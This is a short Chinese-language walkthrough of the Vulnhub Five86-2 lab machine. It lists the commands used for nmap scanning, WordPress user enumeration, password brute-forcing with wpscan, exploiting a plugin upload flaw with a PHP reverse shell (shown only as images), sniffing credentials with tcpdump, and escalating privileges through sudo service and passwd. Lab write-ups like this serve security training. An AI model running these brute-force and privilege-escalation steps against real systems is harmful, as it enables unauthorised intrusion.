Vulnhub:Five86-2靶机

kali:192.168.111.111

靶机:192.168.111.211

信息收集

端口扫描

nmap -A -v -sV -T5 -p- --script=http-enum 192.168.111.211

image

wpscan收集目标wordpress用户

wpscan --url http://five86-2/ -e u

image

wpscan爆破用户密码

wpscan --url http://five86-2/ -U user.txt -P /usr/share/wordlists/rockyou.txt

image

使用barney登录wordpress后台,发现插件Insert or Embed Articulate Content into WordPress Trial存在远程代码执行

searchsploit Insert or Embed Articulate

image

image

image

漏洞利用

创建一个zip压缩包里面包含一个html文件,和php反弹shell

image

image

image

image

上传后文件所在路径

image

之后访问php反弹shell

image

image

提权

使用之前wpscan爆破出的stephen用户的密码切换到stephen用户

image

使用linpease.sh收集信息,发现可以使用tcpdump

image

tcpdump抓取流量,获得paul用户密码:paul|esomepasswford

timeout 100 tcpdump -i br-eca3858d86bf

image

切换到paul用户查看sudo权限

image

提权方法:https://gtfobins.github.io/gtfobins/service/#sudo

image

sudo -u peter service ../../bin/sh

image

peter用户sudo权限

image

用命令passwd修改root用户密码

sudo -u root /usr/bin/passwd

image

切换到root用户

su root

image

获得flag

image

posted @ 2023-03-03 22:26  ctostm  阅读(57)  评论(0)    收藏  举报